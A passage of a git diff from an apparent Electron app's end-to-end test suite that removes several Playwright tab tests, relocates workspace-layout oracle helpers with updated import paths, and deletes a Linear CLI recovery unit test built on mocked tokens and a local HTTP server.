{ - best = { width: run, x: runStart + run / 2 } - } - } else { - run = 0 - } - } - return best - }, groupId) -} type FocusedControl = { label: string; fullyVisible: boolean } | 'in-tab' | null @@ -135,71 +103,6 @@ async function tabThroughStrip( return visited } -test('a narrow tab group keeps a grabbable tab and can be dragged into another group', async ({ - orcaPage -}) => { - await orcaPage.setViewportSize({ width: 1280, height: 800 }) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - - const layout = await buildThreeColumns(orcaPage, worktreeId) - const rightStrip = orcaPage.locator(`[data-tab-group-strip-id="${layout.rightGroupId}"]`) - await expect.poll(async () => (await rightStrip.boundingBox())?.width ?? 0).toBeGreaterThan(200) - - // At normal width the strip's controls are all reachable by Tab and fully visible. - const wideFocus = await tabThroughStrip(orcaPage, layout.rightGroupId) - expect(wideFocus.map((control) => control.label)).toEqual( - expect.arrayContaining(['New tab', 'Pane Actions']) - ) - expect(wideFocus.filter((control) => !control.fullyVisible)).toEqual([]) - - await narrowRightColumns(orcaPage, worktreeId) - await expect.poll(async () => (await rightStrip.boundingBox())?.width ?? 0).toBeLessThan(120) - - await expect - .poll(async () => (await draggableTabRun(orcaPage, layout.rightGroupId)).width) - .toBeGreaterThanOrEqual(16) - - // Keyboard users only reach controls they can see: anything that would clip is hidden instead. - const narrowFocus = await tabThroughStrip(orcaPage, layout.rightGroupId) - expect(narrowFocus.map((control) => control.label)).toContain('New tab') - expect(narrowFocus.filter((control) => !control.fullyVisible)).toEqual([]) - - const run = await draggableTabRun(orcaPage, layout.rightGroupId) - const tabBox = await rightStrip.locator('[data-tab-id]').first().boundingBox() - const leftBody = await orcaPage - .locator(`[data-tab-group-body-id="${layout.leftGroupId}"]`) - .boundingBox() - if (!tabBox || !leftBody) { - throw new Error('Drag geometry missing') - } - const startX = run.x - const startY = tabBox.y + tabBox.height / 2 - await orcaPage.mouse.move(startX, startY) - await orcaPage.mouse.down() - await orcaPage.mouse.move(startX - 20, startY + 10, { steps: 4 }) - await orcaPage.mouse.move(leftBody.x + leftBody.width / 2, leftBody.y + leftBody.height / 2, { - steps: 12 - }) - await orcaPage.mouse.up() - - await expect - .poll(() => - orcaPage.evaluate( - ({ id, tabId }) => - window.__store?.getState().unifiedTabsByWorktree[id]?.find((t) => t.id === tabId) - ?.groupId, - { id: worktreeId, tabId: layout.rightTabId } - ) - ) - .toBe(layout.leftGroupId) - // The user sees the tab move: the left strip gains it and the right strip no longer shows it. - const leftStrip = orcaPage.locator(`[data-tab-group-strip-id="${layout.leftGroupId}"]`) - await expect(leftStrip.locator('[data-tab-id]')).toHaveCount(2) - await expect(rightStrip.locator('[data-tab-id]')).toHaveCount(0) -}) - test('a strip too narrow for quick commands offers them in the pane actions menu', async ({ orcaPage }) => { diff --git a/tests/e2e/tabs.spec.ts b/tests/e2e/layout/window-tabs/tabs.spec.ts similarity index 60% rename from tests/e2e/tabs.spec.ts rename to tests/e2e/layout/window-tabs/tabs.spec.ts index 46f1894c639..e10e057073d 100644 --- a/tests/e2e/tabs.spec.ts +++ b/tests/e2e/layout/window-tabs/tabs.spec.ts @@ -3,18 +3,16 @@ import { rm } from 'node:fs/promises' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { waitForSessionReady, waitForActiveWorktree, getActiveWorktreeId, getActiveTabId, - getActiveTabType, - getWorktreeTabs, - getTabBarOrder, ensureTerminalVisible, waitForStartupWorktreeRefresh -} from './helpers/store' +} from '../../desktop/renderer-probes/store' const SORTABLE_TAB = '[data-testid="sortable-tab"]' @@ -51,16 +49,6 @@ async function getDomActiveTabId(page: Page): Promise { }, SORTABLE_TAB) } -async function getFocusedTerminalTabId(page: Page): Promise { - return page.evaluate(() => { - const active = document.activeElement - if (!(active instanceof HTMLElement) || !active.classList.contains('xterm-helper-textarea')) { - return null - } - return active.closest('[data-terminal-tab-id]')?.getAttribute('data-terminal-tab-id') ?? null - }) -} - test.describe('Tabs', () => { test.beforeEach(async ({ orcaPage }) => { await waitForSessionReady(orcaPage) @@ -72,39 +60,6 @@ test.describe('Tabs', () => { }) // Use the real + → New Terminal flow and require a new rendered tab. - test('clicking "+" then "New Terminal" creates a new terminal tab', async ({ orcaPage }) => { - const tabsBefore = await countRenderedTabs(orcaPage) - - // Hidden animated terminals can invalidate Playwright stability despite an enabled visible button. - await orcaPage.getByRole('button', { name: 'New tab' }).click({ force: true }) - const newTerminalMenuItem = orcaPage - .getByRole('menu') - .getByRole('button', { name: /New Terminal/i }) - .first() - await newTerminalMenuItem.click() - await expect(newTerminalMenuItem).toBeHidden({ timeout: 3_000 }) - - await expect - .poll(() => countRenderedTabs(orcaPage), { - timeout: 5_000, - message: 'Clicking + → New Terminal did not render a new tab in the tab bar' - }) - .toBeGreaterThan(tabsBefore) - - const activeType = await getActiveTabType(orcaPage) - expect(activeType).toBe('terminal') - - const storeActiveId = await getActiveTabId(orcaPage) - expect(storeActiveId).not.toBeNull() - await expect(tabLocator(orcaPage, storeActiveId!)).toBeVisible() - await expect.poll(() => getDomActiveTabId(orcaPage), { timeout: 3_000 }).toBe(storeActiveId) - await expect - .poll(() => getFocusedTerminalTabId(orcaPage), { - timeout: 5_000, - message: 'Menu-created terminal tab did not receive keyboard focus' - }) - .toBe(storeActiveId) - }) test('clicking "+" then "New Markdown" focuses the editor', async ({ orcaPage, @@ -166,32 +121,6 @@ test.describe('Tabs', () => { await expect(editor).toBeHidden() }) - test('Cmd/Ctrl+T creates a new terminal tab', async ({ orcaPage }) => { - const isMac = process.platform === 'darwin' - const mod = isMac ? 'Meta' : 'Control' - const tabsBefore = await countRenderedTabs(orcaPage) - - // Focus body so stale search inputs cannot consume the window shortcut. - await orcaPage.evaluate(() => document.body.focus()) - await orcaPage.keyboard.press(`${mod}+t`) - - await expect - .poll(() => countRenderedTabs(orcaPage), { - timeout: 5_000, - message: `${mod}+T did not add a tab to the tab bar` - }) - .toBe(tabsBefore + 1) - - // Use the store only to distinguish surface type; DOM must independently prove one active tab. - const activeType = await getActiveTabType(orcaPage) - expect(activeType).toBe('terminal') - - // Require exactly one DOM-active tab matching store selection. - const storeActiveId = await getActiveTabId(orcaPage) - expect(storeActiveId).not.toBeNull() - await expect.poll(() => getDomActiveTabId(orcaPage), { timeout: 3_000 }).toBe(storeActiveId) - }) - test('clicking tabs still switches after dragging a terminal tab to reorder', async ({ orcaPage }) => { @@ -259,72 +188,6 @@ test.describe('Tabs', () => { // After reorder, Cmd/Ctrl+Shift+[ must follow the visible group order, not stale tabBarOrderByWorktree. // Require DOM data-active to follow each expected tab as well as store selection. - test('Cmd/Ctrl+Shift+[ walks tabs in drag-reordered order', async ({ orcaPage }) => { - const isMac = process.platform === 'darwin' - const mod = isMac ? 'Meta' : 'Control' - const worktreeId = (await getActiveWorktreeId(orcaPage))! - - // Seed at least three tabs directly; separate tests exercise + creation. - await orcaPage.evaluate((targetWorktreeId) => { - const store = window.__store - if (!store) { - return - } - const state = store.getState() - const existing = (state.tabsByWorktree[targetWorktreeId] ?? []).length - for (let i = existing; i < 3; i++) { - state.createTab(targetWorktreeId) - } - }, worktreeId) - await expect - .poll(async () => (await getWorktreeTabs(orcaPage, worktreeId)).length, { - timeout: 5_000 - }) - .toBeGreaterThanOrEqual(3) - - const initialOrder = await getTabBarOrder(orcaPage, worktreeId) - expect(initialOrder.length).toBeGreaterThanOrEqual(3) - const [a, b, c] = initialOrder - - // Use the production drag/drop store action to move first to last. - await orcaPage.evaluate((targetWorktreeId) => { - const store = window.__store - if (!store) { - return - } - const state = store.getState() - const groups = state.groupsByWorktree[targetWorktreeId] ?? [] - const activeGroupId = state.activeGroupIdByWorktree[targetWorktreeId] - const activeGroup = activeGroupId - ? groups.find((group) => group.id === activeGroupId) - : groups[0] - if (!activeGroup) { - return - } - const [first, ...rest] = activeGroup.tabOrder - state.reorderUnifiedTabs(activeGroup.id, [...rest, first]) - }, worktreeId) - await expect - .poll(async () => getTabBarOrder(orcaPage, worktreeId), { - timeout: 3_000 - }) - .toEqual([b, c, a]) - - // Activate the last tab in the new visible order, then walk left twice. - // Expected cycle: a → c → b (i.e. walks the *new* order in reverse). - await orcaPage.evaluate((tabId) => { - window.__store?.getState().setActiveTab(tabId) - }, a) - await expect.poll(() => getDomActiveTabId(orcaPage), { timeout: 3_000 }).toBe(a) - - await orcaPage.keyboard.press(`${mod}+Shift+BracketLeft`) - await expect.poll(() => getDomActiveTabId(orcaPage), { timeout: 3_000 }).toBe(c) - await expect(tabLocator(orcaPage, c)).toHaveAttribute('data-active', 'true') - - await orcaPage.keyboard.press(`${mod}+Shift+BracketLeft`) - await expect.poll(() => getDomActiveTabId(orcaPage), { timeout: 3_000 }).toBe(b) - await expect(tabLocator(orcaPage, b)).toHaveAttribute('data-active', 'true') - }) // Click the real X and require DOM removal so store-only close cannot hide a stuck tab. test('closing the active tab removes it and activates a neighbor', async ({ orcaPage }) => { diff --git a/tests/e2e/helpers/headless-layout-oracle-hosts.ts b/tests/e2e/layout/workspace-oracle/headless-layout-oracle-hosts.ts similarity index 93% rename from tests/e2e/helpers/headless-layout-oracle-hosts.ts rename to tests/e2e/layout/workspace-oracle/headless-layout-oracle-hosts.ts index ee894b39daa..66c118b0671 100644 --- a/tests/e2e/helpers/headless-layout-oracle-hosts.ts +++ b/tests/e2e/layout/workspace-oracle/headless-layout-oracle-hosts.ts @@ -4,13 +4,17 @@ import { existsSync, mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync import { createServer, type AddressInfo } from 'node:net' import os from 'node:os' import path from 'node:path' -import { RuntimeClient } from '../../../src/cli/runtime/client' -import { resolveBundledOrcadRuntime } from '../../../src/main/orcad/runtime-launch/orcad-bundled-runtime' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import { resolveBundledOrcadRuntime } from '../../../../src/main/orcad/runtime-launch/orcad-bundled-runtime' import { runProcess } from '@orca/process-host' -import { NODE_RUNTIME_PIN } from '../../../src/shared/node-runtime/node-runtime-pin' -import { cleanupE2EDaemons } from './electron-process-shutdown' -import { launchHeadlessPairedRuntimeHost } from './headless-paired-runtime-host' -import { cliServeProfile, spawnUntilReady, type ReadyProcess } from './orca-serve-cli-host' +import { NODE_RUNTIME_PIN } from '../../../../src/shared/node-runtime/node-runtime-pin' +import { cleanupE2EDaemons } from '../../desktop/electron-fixtures/electron-process-shutdown' +import { launchHeadlessPairedRuntimeHost } from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' +import { + cliServeProfile, + spawnUntilReady, + type ReadyProcess +} from '../../remote/paired-runtime/client-hosts/orca-serve-cli-host' export type HeadlessHostKind = 'orcad' | 'electron' diff --git a/tests/e2e/terminal-layout-parity-declared-differences.ts b/tests/e2e/layout/workspace-oracle/terminal-layout-parity-declared-differences.ts similarity index 100% rename from tests/e2e/terminal-layout-parity-declared-differences.ts rename to tests/e2e/layout/workspace-oracle/terminal-layout-parity-declared-differences.ts diff --git a/tests/e2e/terminal-layout-parity-snapshot.ts b/tests/e2e/layout/workspace-oracle/terminal-layout-parity-snapshot.ts similarity index 100% rename from tests/e2e/terminal-layout-parity-snapshot.ts rename to tests/e2e/layout/workspace-oracle/terminal-layout-parity-snapshot.ts diff --git a/tests/e2e/helpers/workspace-layout-oracle-compare.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-compare.ts similarity index 98% rename from tests/e2e/helpers/workspace-layout-oracle-compare.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-compare.ts index a008acbf579..338f13c8859 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-compare.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-compare.ts @@ -1,6 +1,6 @@ // Compare runtime layout to each view, excluding viewer-owned selection, focus and sizes. -import { isTerminalOwnerPartition } from '../../../src/shared/workspace-layout/terminal-topology/terminal-owner-invariants' +import { isTerminalOwnerPartition } from '../../../../src/shared/workspace-layout/terminal-topology/terminal-owner-invariants' import type { LiveWorkspace } from './workspace-layout-oracle-feed' import type { ClientView, DrawnLayout, DrawnTerminalSurface } from './workspace-layout-oracle-views' diff --git a/tests/e2e/helpers/workspace-layout-oracle-expected.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-expected.ts similarity index 100% rename from tests/e2e/helpers/workspace-layout-oracle-expected.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-expected.ts diff --git a/tests/e2e/helpers/workspace-layout-oracle-feed.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-feed.ts similarity index 90% rename from tests/e2e/helpers/workspace-layout-oracle-feed.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-feed.ts index f86168d47f2..020d1e04777 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-feed.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-feed.ts @@ -3,19 +3,19 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../src/shared/execution-host/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import type { LayoutLeaf, LayoutTab, WorkspaceLayout, WorkspaceLayoutModel -} from '../../../src/shared/workspace-layout/workspace-layout-model' -import type { PublishedWorkspaceLayout } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-published' -import { applyWorkspaceLayoutRecordChange } from '../../../src/shared/workspace-layout/published-layout/workspace-layout-records' +} from '../../../../src/shared/workspace-layout/workspace-layout-model' +import type { PublishedWorkspaceLayout } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-published' +import { applyWorkspaceLayoutRecordChange } from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-records' import { readWorkspaceLayoutStreamFrame, type WorkspaceLayoutChangeFrame -} from '../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' +} from '../../../../src/shared/workspace-layout/published-layout/workspace-layout-stream-frames' /** One published workspace and the partition it belongs to. */ export type LiveWorkspace = { diff --git a/tests/e2e/workspace-layout-oracle-known-on-main.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-known-on-main.ts similarity index 97% rename from tests/e2e/workspace-layout-oracle-known-on-main.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-known-on-main.ts index e32d096b537..ed327151600 100644 --- a/tests/e2e/workspace-layout-oracle-known-on-main.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-known-on-main.ts @@ -1,4 +1,4 @@ -import type { OracleCheck, OracleFinding } from './helpers/workspace-layout-oracle' +import type { OracleCheck, OracleFinding } from './workspace-layout-oracle' /** * Findings the layout oracle still reports on main, each tied to its cause. A rework PR that fixes diff --git a/tests/e2e/helpers/workspace-layout-oracle-markers.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-markers.ts similarity index 97% rename from tests/e2e/helpers/workspace-layout-oracle-markers.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-markers.ts index b477220824f..5ebae269e51 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-markers.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-markers.ts @@ -1,5 +1,5 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeClient } from '../../../src/cli/runtime/client' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' const POLL_MS = 300 diff --git a/tests/e2e/helpers/workspace-layout-oracle-model.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-model.ts similarity index 86% rename from tests/e2e/helpers/workspace-layout-oracle-model.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-model.ts index f28f523c012..cb9228b1cac 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-model.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-model.ts @@ -1,13 +1,12 @@ // Compare groups/order, all tab kinds, pane tree/bindings and custom titles; omit viewer-owned selection, focus, sizes and scroll. -import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import type { TerminalPaneLayoutNode } from '../../../src/shared/workspace-layout/terminal-tab-types' -import { checkWorkspaceLayoutRules } from '../../../src/shared/workspace-layout/invariants/workspace-layout-rules' -import type { - WorkspaceLayoutPartition, - WorkspaceLayoutViolation -} from '../../../src/shared/workspace-layout/invariants/workspace-layout-rule-types' -import { checkWorkspaceLayoutModelRules } from '../../../src/shared/workspace-layout/invariants/workspace-layout-model-rules' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import type { TerminalPaneLayoutNode } from '../../../../src/shared/workspace-layout/terminal-tab-types' +import '../../../../src/shared/workspace-layout/invariants/workspace-layout-rules' + +import type { WorkspaceLayoutViolation } from '../../../../src/shared/workspace-layout/invariants/workspace-layout-rule-types' +import '../../../../src/shared/workspace-layout/invariants/workspace-layout-model-rules' + import type { LiveWorkspace } from './workspace-layout-oracle-feed' export type OraclePane = { leafId: string; ptyId: string | null } @@ -79,13 +78,6 @@ export function formatViolations(violations: readonly WorkspaceLayoutViolation[] return violations.map((violation) => `${violation.rule}: ${violation.detail}`) } -export { - checkWorkspaceLayoutModelRules, - checkWorkspaceLayoutRules, - type WorkspaceLayoutPartition, - type WorkspaceLayoutViolation -} - /** One line per difference between two layouts; `maskPtyIds` compares bound/unbound only. */ export function diffOracleLayouts( expected: OracleLayout, diff --git a/tests/e2e/helpers/workspace-layout-oracle-session.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-session.ts similarity index 89% rename from tests/e2e/helpers/workspace-layout-oracle-session.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-session.ts index 9d99a393da0..067ea8abad5 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-session.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-session.ts @@ -1,17 +1,22 @@ import { mkdirSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../../src/cli/runtime/client' -import { PROTOCOL_VERSION } from '../../../src/main/daemon/protocol/daemon-protocol-version' -import { expect } from './orca-app' -import { createRestartSession } from './orca-restart' -import { bootstrapRestoredLaunch } from './terminal-restart-persistence' -import { waitForPaneCount } from './terminal' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import { PROTOCOL_VERSION } from '../../../../src/main/daemon/protocol/daemon-protocol-version' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createRestartSession } from '../../desktop/electron-fixtures/orca-restart' +import { bootstrapRestoredLaunch } from '../../terminal/retention/terminal-restart-persistence' +import '../../terminal/input/terminal' +import { waitForPaneCount } from '../../terminal/layout/terminal-pane-operations' import { LayoutOracle, type OracleFinding } from './workspace-layout-oracle' import { LiveLayoutFeed } from './workspace-layout-oracle-feed' import { subscribeWindowLayout } from './workspace-layout-oracle-stream' import { readSavedPartitions } from './workspace-layout-oracle-views' -import { summarizeEventLoopDelay, type EventLoopDelaySummary } from './event-loop-delay-report' +import { + summarizeEventLoopDelay, + type EventLoopDelaySummary +} from '../../desktop/renderer-probes/event-loop-delay-report' export const ORACLE_REPORT_DIR_ENV = 'ORCA_LAYOUT_ORACLE_REPORT_DIR' diff --git a/tests/e2e/helpers/workspace-layout-oracle-stream.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-stream.ts similarity index 80% rename from tests/e2e/helpers/workspace-layout-oracle-stream.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-stream.ts index 5db1414847e..5237288ee70 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-stream.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-stream.ts @@ -1,11 +1,11 @@ // Subscribe through the local renderer bridge or a headless host’s pairing offer. import type { Page } from '@stablyai/playwright-test' -import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import { decodePairingOffer } from '../../../src/shared/remote-runtime/pairing/pairing' -import '../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' -import type { RuntimeRpcResponse } from '../../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' +import { pairedRuntimeConnectionFromOffer } from '../../../../src/shared/remote-runtime/pairing/paired-runtime-connection' +import { decodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import '../../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' +import { subscribeRemoteRuntimeTransport } from '../../../../src/shared/remote-runtime/requests/remote-runtime-subscription-transport' +import type { RuntimeRpcResponse } from '../../../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' import type { LiveLayoutFeed } from './workspace-layout-oracle-feed' declare global { diff --git a/tests/e2e/helpers/workspace-layout-oracle-views.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-views.ts similarity index 83% rename from tests/e2e/helpers/workspace-layout-oracle-views.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-views.ts index 77bd9f0dacd..22ff2fbe131 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-views.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-views.ts @@ -1,15 +1,15 @@ import type { Page } from '@stablyai/playwright-test' -import type { RuntimeClient } from '../../../src/cli/runtime/client' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../src/shared/execution-host/execution-host' -import { readPersistedProfileState } from './persisted-profile-state' -import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalListResult } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { WorkspaceSessionState } from '../../../src/shared/workspace-session/workspace-session-state-types' -import type { WorkspaceLayoutPartition } from './workspace-layout-oracle-model' +} from '../../../../src/shared/execution-host/execution-host' +import { readPersistedProfileState } from '../../desktop/electron-fixtures/persisted-profile-state' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import type { WorkspaceSessionState } from '../../../../src/shared/workspace-session/workspace-session-state-types' +import type { WorkspaceLayoutPartition } from '../../../../src/shared/workspace-layout/invariants/workspace-layout-rule-types' type ProfileRoot = { workspaceSession?: WorkspaceSessionState diff --git a/tests/e2e/helpers/workspace-layout-oracle-watch.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle-watch.ts similarity index 100% rename from tests/e2e/helpers/workspace-layout-oracle-watch.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle-watch.ts diff --git a/tests/e2e/helpers/workspace-layout-oracle.ts b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle.ts similarity index 93% rename from tests/e2e/helpers/workspace-layout-oracle.ts rename to tests/e2e/layout/workspace-oracle/workspace-layout-oracle.ts index e2c8282f508..611779c425c 100644 --- a/tests/e2e/helpers/workspace-layout-oracle.ts +++ b/tests/e2e/layout/workspace-oracle/workspace-layout-oracle.ts @@ -2,17 +2,17 @@ // Settled steps also compare disk rules/roundtrip, drawn/client/expected/restarted layouts, marker echo and unexpected remounts. import type { Page } from '@stablyai/playwright-test' -import type { RuntimeClient } from '../../../src/cli/runtime/client' -import type { WorkspaceLayoutModel } from '../../../src/shared/workspace-layout/workspace-layout-model' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { WorkspaceLayoutModel } from '../../../../src/shared/workspace-layout/workspace-layout-model' import { - checkWorkspaceLayoutModelRules, - checkWorkspaceLayoutRules, diffOracleLayouts, formatViolations, toOracleLayout, - type OracleLayout, - type WorkspaceLayoutPartition + type OracleLayout } from './workspace-layout-oracle-model' +import { checkWorkspaceLayoutModelRules } from '../../../../src/shared/workspace-layout/invariants/workspace-layout-model-rules' +import { checkWorkspaceLayoutRules } from '../../../../src/shared/workspace-layout/invariants/workspace-layout-rules' +import type { WorkspaceLayoutPartition } from '../../../../src/shared/workspace-layout/invariants/workspace-layout-rule-types' import { liveLayoutModels, type LiveLayoutFeed, @@ -21,10 +21,10 @@ import { import { compareClientToRuntime, compareDrawnToRuntime } from './workspace-layout-oracle-compare' import { readClientView, readDrawnLayout, type ClientView } from './workspace-layout-oracle-views' import { expectedDifferences, type ExpectedLayout } from './workspace-layout-oracle-expected' -import { checkLayoutRoundTrip } from '../../../src/shared/workspace-layout/persistence/workspace-layout-round-trip-check' +import { checkLayoutRoundTrip } from '../../../../src/shared/workspace-layout/persistence/workspace-layout-round-trip-check' import { checkPaneMarkers } from './workspace-layout-oracle-markers' import { installRemountCounter, readRemountCounts } from './workspace-layout-oracle-watch' -import { unexpectedFindings } from '../workspace-layout-oracle-known-on-main' +import { unexpectedFindings } from './workspace-layout-oracle-known-on-main' export type OracleCheck = | 'rules' @@ -55,8 +55,6 @@ export type OracleTarget = { worktreeIds: () => string[] } -export type { ExpectedLayout } - const SETTLE_TIMEOUT_MS = Number(process.env.ORCA_LAYOUT_ORACLE_SETTLE_MS ?? 12_000) // Views emit no convergence event; re-read after runtime frames until they agree. const VIEW_CONVERGENCE_POLL_MS = 300 diff --git a/tests/e2e/linear-cli-recovery.unit.test.ts b/tests/e2e/linear-cli-recovery.unit.test.ts deleted file mode 100644 index 8b3ed91e251..00000000000 --- a/tests/e2e/linear-cli-recovery.unit.test.ts +++ /dev/null @@ -1,435 +0,0 @@ -import assert from 'node:assert/strict' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher' -import { LINEAR_AGENT_ACCESS_METHODS } from '../../src/main/runtime/rpc/methods/integrations/linear/linear-agent-access' -import { - connect, - getClient, - testConnection -} from '../../src/main/linear/accounts/linear-account-client' -import { updateIssueForAgent } from '../../src/main/linear/issues/linear-issue-mutations' -import { writeIssueRelation } from '../../src/main/linear/issues/issue-relation-write' -import { - sendLinearData, - serveLinearHttp -} from '../../src/main/linear/requests/linear-sdk-http.test-fixture' -import { LinearAgentAccessError } from '../../src/main/linear/issues/context/linear-access-errors' -import { RuntimeRpcFailureError } from '../../src/cli/runtime/connection/types' -import { main } from '../../src/cli/index' - -const boundary = vi.hoisted(() => ({ - callMock: vi.fn(), - runtimeClientConstructorMock: vi.fn(), - serveOrcaAppMock: vi.fn(), - getDefaultUserDataPathMock: vi.fn(() => '/unused-qa-runtime'), - save: vi.fn(), - upsert: vi.fn(), - workspace: { - id: 'workspace-proof', - organizationId: 'workspace-proof', - organizationName: 'Proof', - organizationUrlKey: 'proof', - displayName: 'Proof viewer', - email: 'proof@example.invalid' - } -})) -vi.mock('../../src/cli/runtime/client', async () => { - const { createRuntimeClientModuleMock } = await import('../../src/cli/index-test-harness.js') - return createRuntimeClientModuleMock(boundary) -}) - -vi.mock('../../src/cli/runtime/launch', async (importOriginal) => ({ - ...(await importOriginal>()), - serveOrcaApp: boundary.serveOrcaAppMock -})) - -vi.mock('../../src/cli/runtime/profile/metadata', async (importOriginal) => ({ - ...(await importOriginal>()), - getDefaultUserDataPath: boundary.getDefaultUserDataPathMock -})) -vi.mock('../../src/main/linear/accounts/linear-token-store', () => ({ - loadToken: () => 'local-proof-token', - saveWorkspaceToken: boundary.save, - getWorkspaceTokenProtection: () => null, - clearToken: vi.fn(), - clearTokenFile: vi.fn(), - replaceLegacyWorkspace: vi.fn() -})) -vi.mock('../../src/main/linear/accounts/linear-workspace-registry', () => ({ - getWorkspaceState: () => ({ - workspaces: [boundary.workspace], - activeWorkspaceId: boundary.workspace.id, - selectedWorkspaceId: boundary.workspace.id - }), - resolveWorkspaceId: (id?: string) => id ?? boundary.workspace.id, - getCredentialError: () => undefined, - getLegacyWorkspace: () => null, - getWorkspaceFile: vi.fn(), - writeWorkspaceFile: vi.fn(), - upsertWorkspace: boundary.upsert -})) - -const issue = { - id: 'issue-proof', - identifier: 'ENG-1', - title: 'Recovered issue', - url: 'https://linear.app/proof/issue/ENG-1', - team: { id: 'team-proof', key: 'ENG', name: 'Engineering' }, - state: { id: 'state-proof', name: 'Todo', type: 'unstarted', color: '' }, - parent: null, - assignee: null, - priority: 2, - updatedAt: '2026-10-28T00:00:00.000Z', - labels: { nodes: [] } -} -const relatedIssue = { - id: 'related-proof', - identifier: 'ENG-2', - title: 'Related', - url: 'https://linear.app/proof/issue/ENG-2' -} -const nativeFetch = globalThis.fetch -let runtime: OrcaRuntimeService -let server: Awaited> -let counts: Map -let signals: (AbortSignal | null | undefined)[] -let persistent = false -let dropMutation = false -let paged = false -let previousExitCode: typeof process.exitCode - -beforeEach(async () => { - vi.clearAllMocks() - counts = new Map() - signals = [] - persistent = false - dropMutation = false - paged = false - previousExitCode = process.exitCode - for (const key of [ - 'ORCA_ENVIRONMENT', - 'ORCA_PAIRING_CODE', - 'ORCA_REMOTE_PAIRING', - 'ORCA_TERMINAL_HANDLE', - 'ORCA_WORKSPACE_ID', - 'ORCA_WORKTREE_ID' - ]) { - vi.stubEnv(key, '') - } - server = await serveLinearHttp((receipt, response) => { - const operation = /\b(?:query|mutation)\s+(\w+)/.exec(receipt.query)?.[1] ?? 'unknown' - const count = (counts.get(operation) ?? 0) + 1 - counts.set(operation, count) - if (paged) { - sendPagedData(operation, receipt.variables ?? {}, response) - return - } - const mutation = /^\s*mutation\b/.test(receipt.query) - if ((mutation && dropMutation) || (!mutation && (persistent || count === 1))) { - response.destroy() - return - } - const connection = { nodes: [issue], pageInfo: 